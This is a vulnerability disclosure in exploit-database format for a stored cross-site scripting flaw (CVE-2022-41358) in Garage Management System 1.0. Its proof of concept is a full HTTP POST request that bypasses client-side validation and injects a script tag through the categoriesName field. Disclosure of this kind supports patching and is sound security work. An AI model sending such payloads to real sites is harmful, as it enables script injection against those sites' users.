Garage Management System 1.0 (categoriesName) - Stored XSS

# Exploit Title: Garage Management System 1.0 (categoriesName) - Stored XSS
# Date: 18-09-2022
# Exploit Author: Sam Wallace, SC
# Software Link: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2022-41358

Summary:
Garage Management System utilizes client side validation to prevent XSS.
Using burp, a request can be modified and replayed to the server bypassing this validation which creates an avenue for XSS.
Parameter: categoriesName
URI: /garage/php_action/createCategories.php
POC:
POST /garage/php_action/createCategories.php HTTP/1.1
Host: 10.24.0.69
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.24.0.69
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.24.0.69/garage/add-category.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u
Connection: close
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesName"
<script>alert(1)</script>
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesStatus"
1
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="create"
------WebKitFormBoundaryqKDsN4gmatTEEkhS--